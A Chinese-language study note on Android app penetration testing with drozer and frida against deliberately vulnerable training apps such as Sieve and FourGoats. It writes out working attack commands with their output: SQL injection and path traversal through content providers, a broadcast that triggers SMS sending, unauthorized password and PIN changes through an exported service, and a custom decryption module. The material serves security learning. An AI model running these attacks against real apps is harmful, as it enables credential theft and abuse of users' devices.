Android安全测试笔记

搭建测试环境

如果电脑和手机通过USB线的方式连接,则执行以下操作:

# 用于drozer
adb forward tcp:31415 tcp:31415

# 用于frida
adb forward tcp:27042 tcp:27042

# 如果看到手机上的进程信息,则frida环境配置成功
frida-ps -U

# 连接之前,要先启动手机的drozer-agent,如果显示‘dz>’的终端提示符,则drozer连接成功
drozer console connect

如果要远程连接drozer和frida,则让手机和电脑连接到同一个局域网。如下配置

# 配置drozer远程连接,并运行
# 检测连接是否正常,如果显示有设备信息则正常
drozer console devices --server 192.168.124.9:31415

# 远程连接手机的drozer-agent
drozer console connect --server 192.168.124.9:31415

# 通过MagiskFrida配置frida远程连接
Step1: adb login android, and get root shell.
cmder λ adb shell
sagit:/ $ su

Step2: find the main directory of magisk-frida, and cd into it.
sagit:/ # cd /data/adb/modules/magisk-frida
sagit:/data/adb/modules/magisk-frida # ls
module.prop service.sh system

Step3: edit service.sh, change "frida-server" to "frida-server -l 0.0.0.0:27042"
sagit:/data/adb/modules/magisk-frida # cat service.sh

#!/system/bin/sh                                           
......                                            
                                                           
# restart on crash                                         
while true; do                                             
    frida-server -l 0.0.0.0:27042    # change this line       
    sleep 1                                                
done        

# 远程连接frida
λ frida-ps -H 192.168.124.9:27042

通过drozer给手机安装busybox,busybox集成了很多常用命令,非常实用。

dz> run tools.setup.busybox
dz> run shell.start
sagit:/ # /data/user/0/com.mwr.dz/bin/busybox ps

避坑指南

在文件 Lib\site-packages\drozer\modules\app\package.py 的最上方增加三行

import sys
reload(sys)
sys.setdefaultencoding('utf-8')
在windows终端上执行命令
chcp 65001
set PYTHONIOENCODING=UTF-8

客户端测试

本次测试的apk目标是:FourGoats,Sieve,InsecureBankv2。这几个app都是带有漏洞的用于学习的app。

定位目标app

查看手机上安装的所有应用

dz> run app.package.list

org.owasp.goatdroid.fourgoats (FourGoats)
com.android.insecurebankv2 (InsecureBankv2)
com.mwr.example.sieve (Sieve)

如果应用太多,也可以通过-f过滤目标应用

dz> run app.package.list -f fourgoats

org.owasp.goatdroid.fourgoats (FourGoats)

查看app信息

dz> run app.package.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve
  Application Label: Sieve
  Process Name: com.mwr.example.sieve
  Version: 1.0
  Data Directory: /data/user/0/com.mwr.example.sieve
  APK Path: /data/app/~~YQeKLGai-ub2H2_zkKc9ZA==/com.mwr.example.sieve-7_hc6CTfoKoGNyVKeO2mDA==/base.apk
  UID: 10197
  GID: [3003]
  Shared Libraries: [/system/framework/android.test.base.jar, /system/framework/org.apache.http.legacy.jar]
  Shared User ID: null
  Uses Permissions:
  - android.permission.READ_EXTERNAL_STORAGE
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.INTERNET
  - android.permission.ACCESS_MEDIA_LOCATION
  Defines Permissions:
  - com.mwr.example.sieve.READ_KEYS
  - com.mwr.example.sieve.WRITE_KEYS

从手机取回apk包

dz> run tools.file.download /data/app/~~YQeKLGai-ub2H2_zkKc9ZA==/com.mwr.example.sieve-7_hc6CTfoKoGNyVKeO2mDA==/base.apk ./com.mwr.example.sieve.apk

Read 367886 bytes

分析攻击面

dz> run app.package.attacksurface com.mwr.example.sieve

Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

activity常见漏洞
越权;拒绝服务;钓鱼;敏感信息泄露

broadcast receiver常见漏洞
权限绕过;拒绝服务;敏感信息泄露

content provider常见漏洞
SQL注入;目录遍历;敏感信息泄露

service常见漏洞
拒绝服务;消息伪造;权限提升;劫持

activity组件测试

查看app所有activities

dz> run app.activity.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve
  com.mwr.example.sieve.FileSelectActivity
    Permission: null
  com.mwr.example.sieve.MainLoginActivity
    Permission: null
  com.mwr.example.sieve.PWList
    Permission: null

activity常规漏洞测试

越权;拒绝服务;钓鱼;敏感信息泄露

注意:执行drozer命令的时候,手机当前的activity必须是drozer-agent的activity

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity

漏洞样本1 - 越权

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

broadcase receiver组件测试

权限绕过;拒绝服务;敏感信息泄露

把app类比为pc电脑,和PC机类似,app也有广播和接收广播信息的功能,app如果收到自己期望的广播包,则会处理该广播请求。同理,app可以向外广播信息。

在处理广播时,可能会遇到这类问题,app不校验广播请求的合法性和有效性,收到广播直接处理,这可能导致攻击者恶意构造广播包,可能造成app拒绝服务,敏感信息泄露,权限绕过等漏洞。

dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats -i

Package: org.owasp.goatdroid.fourgoats
  org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver
    Intent Filter:
      Actions:
        - org.owasp.goatdroid.fourgoats.SOCIAL_SMS
    Permission: null

漏洞样本1 - 拒绝服务

测试的时候,我用的是android 11,经测试发现的情况比较奇怪。当我打开fourgoats,停留在fourgoats界面,不停的执行下方的命令,app不停重启,偶尔会提示app关闭,但无法必现。而且,执行下方的命令,不需要drozer-agent的activity在最上层。

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

漏洞样本2 - 越权

如果要测试此类漏洞,则需要拿到apk的源码进行分析,确定参数个数,类型,名称等信息。

通过Bytecode-Viewer-2.9.22浏览apk的源码,发现如下实现

package org.owasp.goatdroid.fourgoats.broadcastreceivers;

import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import org.owasp.goatdroid.fourgoats.misc.Utils;

public class SendSMSNowReceiver extends BroadcastReceiver {
   Context context;

   public void onReceive(Context var1, Intent var2) {
      this.context = var1;
      SmsManager var3 = SmsManager.getDefault();
      Bundle var4 = var2.getExtras();
      var3.sendTextMessage(var4.getString("phoneNumber"), (String)null, var4.getString("message"), (PendingIntent)null, (PendingIntent)null);
      Utils.makeToast(this.context, "Your text message has been sent!", 1);
   }
}

看到上面的代码,可以确定,接收两个参数,分别是”phoneNumber”和”message”,两个参数均是string类型。接下来构造攻击命令,如下:

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 10010 --extra string message test!

app收到这个广播之后,就向目标号码发送一段指定内容的短消息。

content provider组件测试

SQL注入;目录遍历;敏感信息泄露

provider组件主要是提供给app分享数据和文件的功能,比如通讯录app,当其他app想要访问通讯录时,就需要通讯录app提供数据查询服务,而通讯录app就是通过该组件提供服务。一般这类数据是以SQLite存储,所以获取时可能存在SQL注入。另外一种共享方式是共享文件,该方式可能存在目录遍历问题。无论是SQL注入或者是目录遍历,都可能涉及敏感信息泄露。

定位目标app支持的content provider

dz> run app.provider.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.mwr.example.sieve.DBContentProvider
    Multiprocess Allowed: True
    Grant Uri Permissions: False
    Path Permissions:
      Path: /Keys
        Type: PATTERN_LITERAL
        Read Permission: com.mwr.example.sieve.READ_KEYS
        Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.mwr.example.sieve.FileBackupProvider
    Multiprocess Allowed: True
    Grant Uri Permissions: False

扫描uri

dz> run scanner.provider.finduris -a com.mwr.example.sieve

Scanning com.mwr.example.sieve...
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider/ Unable to Query  content://com.mwr.example.sieve.DBContentProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

SQL语句大家都很熟悉,一个常见的select语句如下

select username,password from users where username="admin";

安卓的content provider也是类似的思路,如下所示

select projection from Uri where selection;

所以上面扫描Uri的过程,就是扫描目标app提供的表的过程。每个Uri可以理解为一个数据库的表名。

通过drozer直接查看数据库信息,如下

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
| _id | service | username | password                                          | email                 |
| 1   | test    | kafroc   | cit/yTZ7HyCecb+GN7uFTM0NpbJKo5/7 (Base64-encoded) | kafrocyang@gmail.com  |
| 2   | temp    | xxoo     | jlqSHWQCIxaecb+GN7uFTM0NpbJKo5/7 (Base64-encoded) | xxoo@xxoo.com         |

接下来通过projection指定列为username和password,如下所示

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "username,password"
| username | password                                          |
| kafroc   | cit/yTZ7HyCecb+GN7uFTM0NpbJKo5/7 (Base64-encoded) |
| xxoo     | jlqSHWQCIxaecb+GN7uFTM0NpbJKo5/7 (Base64-encoded) |

最后通过selection来选择过滤查询结果,假设我们只想查用户kafroc的密码,如下所示

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "username,password" --selection "username='kafroc'"
| username | password                                          |
| kafroc   | cit/yTZ7HyCecb+GN7uFTM0NpbJKo5/7 (Base64-encoded) |

那么问题来了,上面都是理想情况下的用法,假设传入的参数异常,实现过程又没做恰当的处理的话,是有可能造成SQL注入的。drozer集成了一个扫描工具可以辅助测试人员扫描SQL注入情况。

dz> run scanner.provider.injection -a com.bj.chuanglian.coach
Scanning com.bj.chuanglian.coach...
Not Vulnerable:
  content://com.bj.chuanglian.coach.aaidinitprovider
  content://com.bj.chuanglian.coach.umeng.share.fileprovider
  ...
  content://com.bj.chuanglian.coach.lifecycle-process/
  content://com.bj.chuanglian.coach.huawei.push.provider/

Injection in Projection:
  No vulnerabilities found.

Injection in Selection:
  No vulnerabilities found.

漏洞样例1 - SQL注入

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql
                                        |
| table | android_metadata | android_metadata | 3        | CREATE TABLE android_metadata (locale TEXT)
                                        |
| table | Passwords        | Passwords        | 4        | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Key              | Key              | 5        | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )


dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

| Password         | pin  |
| admin12345678900 | 6666 |

drozer还集成了一个扫描工具可以辅助测试人员扫描路径遍历的情况。

dz> run scanner.provider.traversal -a com.bj.chuanglian.coach
Scanning com.bj.chuanglian.coach...
Not Vulnerable:
  content://com.bj.chuanglian.coach.aaidinitprovider
  content://com.bj.chuanglian.coach.umeng.share.fileprovider
  ...
  content://com.bj.chuanglian.coach.lifecycle-process/
  content://com.bj.chuanglian.coach.huawei.push.provider/

Vulnerable Providers:
  No vulnerable providers found.

漏洞样例2 - 目录遍历

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1       localhost
::1             ip6-localhost

service组件测试

拒绝服务;消息伪造;权限提升;劫持

service可以理解为没有UI的activity,我们在UI操作时,输入信息,点击按钮等操作,最终都会调用对应的业务代码。service也是类似,只不过不是用户直接与之交互,可以认为是一个幕后的角色,默默无闻提供服务。

查看目标app提供的服务的命令如下:

dz> run app.service.info -a com.mwr.example.sieve -i

Package: com.mwr.example.sieve
  com.mwr.example.sieve.AuthService
    Permission: null
  com.mwr.example.sieve.CryptoService
    Permission: null

启动service

dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.AuthService
dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.CryptoService

和broadcast receiver类似,挖掘service的漏洞,很大程度上都依赖代码审计。通过jadx-gui逆向查看app代码,可以看到AuthService服务实现流程如下

    private final class MessageHandler extends Handler {
        public MessageHandler(Looper looper) {
            super(looper);
        }

        public void handleMessage(Message msg) {
            int responseCode;
            int returnVal;
            int responseCode2;
            int responseCode3;
            int returnVal2;
            AuthService.this.responseHandler = msg.replyTo;
            Bundle returnBundle = (Bundle) msg.obj;
            switch (msg.what) {
                case 4:
                    if (!AuthService.this.checkKeyExists()) {
                        responseCode2 = 33;
                    } else if (AuthService.this.checkPinExists()) {
                        responseCode2 = 31;
                    } else {
                        responseCode2 = 32;
                    }
                    sendResponseMessage(3, responseCode2, 1, (Bundle) null);
                    return;
                case AuthService.MSG_CHECK /*2354*/:
                    if (msg.arg1 == AuthService.TYPE_KEY) {
                        responseCode3 = 42;
                        if (AuthService.this.verifyKey(returnBundle.getString("com.mwr.example.sieve.PASSWORD"))) {
                            AuthService.this.showNotification();
                            returnVal2 = 0;
                        } else {
                            returnVal2 = 1;
                        }
                    } else if (msg.arg1 == AuthService.TYPE_PIN) {
                        responseCode3 = 41;
                        if (AuthService.this.verifyPin(returnBundle.getString("com.mwr.example.sieve.PIN"))) {
                            returnBundle = new Bundle();
                            returnBundle.putString("com.mwr.example.sieve.PASSWORD", AuthService.this.getKey());
                            returnVal2 = 0;
                        } else {
                            returnVal2 = 1;
                        }
                    } else {
                        sendUnrecognisedMessage();
                        return;
                    }
                    sendResponseMessage(5, responseCode3, returnVal2, returnBundle);
                    return;

正常操作,发送查询请求,根据PIN获取Password。其中

加密服务之加密操作(解密操作涉及到自定义模块,见附录A)

漏洞样本1 - 拒绝服务

dz> run app.service.send --msg 2354 9234 1 com.mwr.example.sieve com.mwr.example.sieve.AuthService

漏洞样本2 - 越权

# 初始状态
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password         | pin  |
| admin12345678900 | 6666 |
| admin666         | 8888 |

# 越权新建密码
dz> run app.service.send --msg 6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD admin888 --bundle-as-obj com.mwr.example.sieve com.mwr.example.sieve.AuthService
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
  what: 4
  arg1: 42
  arg2: 0
  Empty
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password         | pin  |
| admin12345678900 | 6666 |
| admin666         | 8888 |
| admin888         | null |

# 越权修改新建密码的PIN
dz> run app.service.send --msg 6345 9234 1 --extra string com.mwr.example.sieve.PIN 6789 --bundle-as-obj com.mwr.example.sieve com.mwr.example.sieve.AuthService
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
  what: 4
  arg1: 41
  arg2: 0
  Empty
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password         | pin  |
| admin12345678900 | 6666 |
| admin666         | 8888 |
| admin888         | 6789 |

本地存储测试

确定目标app的本地存储位置,在Data Directory展示 dz> run app.package.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve
  Application Label: Sieve
  Process Name: com.mwr.example.sieve
  Version: 1.0
  Data Directory: /data/user/0/com.mwr.example.sieve
  APK Path: /data/app/~~faaSHd6qhAabsR7SxrEqVQ==/com.mwr.example.sieve-b3y0QLZRofYnhM2X5CfLSg==/base.apk
  UID: 10243
  GID: [3003]
  Shared Libraries: [/system/framework/android.test.base.jar, /system/framework/org.apache.http.legacy.jar]
  Shared User ID: null
  Uses Permissions:
  - android.permission.READ_EXTERNAL_STORAGE
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.INTERNET
  - android.permission.ACCESS_MEDIA_LOCATION
  Defines Permissions:
  - com.mwr.example.sieve.READ_KEYS
  - com.mwr.example.sieve.WRITE_KEYS

通过adb进入手机,进入/data/user/0/com.mwr.example.sieve目录。

λ adb shell
sagit:/ $ su
sagit:/ # cd /data/user/0/com.mwr.example.sieve
sagit:/data/user/0/com.mwr.example.sieve # ls
cache  code_cache  databases  lib
sagit:/data/user/0/com.mwr.example.sieve # cd databases
sagit:/data/user/0/com.mwr.example.sieve/databases # ls
database.db  database.db-journal
127|sagit:/data/user/0/com.mwr.example.sieve/databases # sqlite3 database.db
SQLite version 3.28.0 2021-07-13 15:30:48
sqlite> select * from Key;
admin12345678900|6666
admin666|8888
admin888|6789
sqlite> select * from Passwords;
��J���|kafrocyang@gmail.com �L�
��J���|xxoo@xxoo.com�q��7��L�
sqlite> select * from android_metadata;
zh_CN
sqlite> select * FROM SQLITE_MASTER WHERE type='table';
table|android_metadata|android_metadata|3|CREATE TABLE android_metadata (locale TEXT)
table|Passwords|Passwords|4|CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email )
table|Key|Key|5|CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )
sqlite>
sqlite> select service,username,email from Passwords;
test|kafroc|kafrocyang@gmail.com
temp|xxoo|xxoo@xxoo.com

客户端脱壳

frida-dexdump(https://github.com/hluwa/frida-dexdump)这个frida工具非常有意思。

这个工具的原理是通过frida注入到目标进程,从进程的内存空间中搜索DEX关键字,如果怀疑是DEX,则dump转储内存并保存在本地,该工具目前能脱360的壳,导出的DEX可能很多,逐个排查,总能找到目标的包名对应的代码。

dump出来的DEX文件,我用jadx-gui逐个查看,一般都能找到目标APP的实现代码。

Frida的知识庞大且复杂,我后续会再写一些文章记录学习过程。

其他测试

superFuzz 测试 安装超级拒绝服务漏洞检测工具,根据组件类型依次全部启动,看看目标应用会不会产生拒绝服务。

本地日志敏感信息泄露 有些app会把敏感信息,如用户名,密码,私钥等信息通过log记录,此时,可以通过logcat命令查看。

λ adb shell
sagit:/ $ su
sagit:/ # logcat
--------- beginning of kernel
08-20 18:25:02.383     0     0 I         : Booting Linux on physical CPU 0x0
08-20 18:25:02.383     0     0 I         : Initializing cgroup subsys cpuset
08-20 18:25:02.383     0     0 I         : Initializing cgroup subsys cpu

签名测试
重打包测试
代码硬编码敏感信息测试
sharePerferences敏感信息测试
Webview组件安全
备份设置
调试设置

更多常见漏洞,请查看参考材料[7],[8]

参考材料

[1] https://sutune.me/2020/11/29/drozer/
[2] drozer User Guide
[3] https://developer.android.com/guide/topics/providers/content-provider-basics
[4] The Mobile Application Hacker’s Handbook
[5] https://www.anquanke.com/post/id/85067
[6] https://github.com/ViRb3/magisk-frida
[7] https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/
[8] https://www.anquanke.com/post/id/241264

附录A - drozer模块操作之sieve解密

回顾

执行完加密操作后

dz> run app.service.send --msg 3452 1 2 --extra string com.mwr.example.sieve.KEY key666 --extra string com.mwr.example.sieve.STRING hello_world! --bundle-as-obj com.mwr.example.sieve com.mwr.example.sieve.CryptoService
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.CryptoService:
  what: 9
  arg1: 91
  arg2: 1
  Extras
    com.mwr.example.sieve.RESULT (byte[]) : [-60, 47, 95, -20, 70, 127, -25, -125, 51, -117, -102, -71, -45, -95, -12, 29, -71, 88, 88, 17, -11, 69, -44, 121, -38, 121, -56, 94]
    com.mwr.example.sieve.STRING (String) : hello_world!
    com.mwr.example.sieve.KEY (String) : key666

得到了加密后的密文如下

com.mwr.example.sieve.RESULT (byte[]) : [-60, 47, 95, -20, 70, 127, -25, -125, 51, -117, -102, -71, -45, -95, -12, 29, -71, 88, 88, 17, -11, 69, -44, 121, -38, 121, -56, 94]

要解密密文,需要把字节数组通过drozer命令行传给drozer-agent。有一个坑是命令行无法传输字节数组,所以这里引入了自定义模块。通过自定义模块把base64编码后的密文,传给agent,agent自定义模块解码密文后,调用相关组件完成解密。

编码

先编写一个脚本,把有符号整型转为字节数组

import base64

ret = b''
intarray = [-60, 47, 95, -20, 70, 127, -25, -125, 51, -117, -102, -71, -45, -95, -12, 29, -71, 88, 88, 17, -11, 69, -44, 121, -38, 121, -56, 94]
for i in intarray:
	ret += int.to_bytes(i, 1, 'big', signed=True)

print(base64.b64encode(ret))

得到编码后的结果b'xC9f7EZ/54Mzi5q506H0HblYWBH1RdR52nnIXg=='

自定义模块

编写自定义模块,文件名为exploit.sieve.crypto.decrypt(文件名和模块信息相对应,不可随意命名,不用.py后缀)

文件内容如下

PS F:\> cat .\exploit.sieve.crypto.decrypt
import base64 
 
from drozer import android 
from drozer.modules import common, Module 
 
class Decrypt(Module, common.ServiceBinding): 
    name = "Decrypt Sieve passwords" 
    description = "Decrypt a given password with the provided key" 
    examples = "" 
    author = "MWR InfoSecurity (@mwrlabs)" 
    date = "2014-07-22" 
    license = "BSD (3 clause)" 
    path = ["exploit", "sieve", "crypto"] 
    permissions = ["com.mwr.dz.permissions.GET_CONTEXT"] 
 
    def add_arguments(self, parser): 
        parser.add_argument("key", help="AES key") 
        parser.add_argument("base64_ciphertext", help= 
        "the base64 ciphertext string to be decrypted") 
 
    def execute(self, arguments): 
 
        # Create a bundle with the required user input
        bundle = self.new("android.os.Bundle") 
        bundle.putString("com.mwr.example.sieve.KEY", arguments.key) 
        bundle.putByteArray("com.mwr.example.sieve.PASSWORD", 
        self.arg(base64.b64decode(arguments.base64_ciphertext), 
        obj_type="data")) 
 
        # Define service endpoint and parameters 
        binding = self.getBinding("com.mwr.example.sieve", 
                  "com.mwr.example.sieve.CryptoService") 
        binding.setBundle(bundle) 
        binding.setObjFormat("bundleAsObj") 
 
        # Send message and receive reply 
        msg = (13476, 1, 1) 
        if binding.send_message(msg, 5000): 
            self.stdout.write("%s\n" % binding.getData()) 
        else: 
            self.stderr.write("An error occured\n")

配置drozer本地模块仓库

dz> module repository list
Local repositories:

dz> module repository create F:\\drozer_module
Initialised repository at F:\drozer_module.

dz> module repository list
Local repositories:
  F:\drozer_module

如果有多个本地仓库,则安装模块时,会提示要把模块安装在哪个仓库。路径用绝对路径。

安装自定义模块

dz> module install F:\\exploit.sieve.crypto.decrypt
Processing F:\exploit.sieve.crypto.decrypt... Done.

Successfully installed 1 modules, 0 already installed.

注意:安装完成后,要退出当前的drozer终端,进入模块目录后,重新连接drozer终端,这样才能找到对应的模块,否则会找不到模块。

dz> *** Unknown syntax: EOF

Caught SIGINT, terminating your session.
Terminate batch job (Y/N)? y

λ F:\\

F:\
λ cd drozer_module\

F:\drozer_module
λ drozer console connect --server 192.168.124.9:31415
C:\Python27\lib\site-packages\OpenSSL\crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release.
  from cryptography import x509
Selecting 6b22a4ae864513d3 (Xiaomi MI 6 11)

            ..                    ..:.
           ..o..                  .r..
            ..a..  . ....... .  ..nd
              ro..idsnemesisand..pr
              .otectorandroidsneme.
           .,sisandprotectorandroids+.
         ..nemesisandprotectorandroidsn:.
        .emesisandprotectorandroidsnemes..
      ..isandp,..,rotectorandro,..,idsnem.
      .isisandp..rotectorandroid..snemisis.
      ,andprotectorandroidsnemisisandprotec.
     .torandroidsnemesisandprotectorandroid.
     .snemisisandprotectorandroidsnemesisan:
     .dprotectorandroidsnemesisandprotector.

drozer Console (v2.4.4)
dz> list
exploit.sieve.crypto.decrypt  Decrypt Sieve passwords


dz> run exploit.sieve.crypto.decrypt
too few arguments
dz> run exploit.sieve.crypto.decrypt -h
usage: run exploit.sieve.crypto.decrypt [-h] key base64_ciphertext

Decrypt a given password with the provided key

Last Modified: 2014-07-22
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)

positional arguments:
  key                AES key
  base64_ciphertext  the base64 ciphertext string to be decrypted

optional arguments:
  -h, --help

执行模块,解密成功

dz> run exploit.sieve.crypto.decrypt key666 xC9f7EZ/54Mzi5q506H0HblYWBH1RdR52nnIXg==
Extras
  com.mwr.example.sieve.PASSWORD (byte[]) : [-60, 47, 95, -20, 70, 127, -25, -125, 51, -117, -102, -71, -45, -95, -12, 29, -71, 88, 88, 17, -11, 69, -44, 121, -38, 121, -56, 94]
  com.mwr.example.sieve.RESULT (String) : hello_world!
  com.mwr.example.sieve.KEY (String) : key666
Table of Contents